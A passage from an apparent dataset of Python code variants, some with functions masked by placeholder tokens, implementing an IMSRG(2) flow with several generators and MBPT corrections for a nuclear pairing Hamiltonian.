'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], 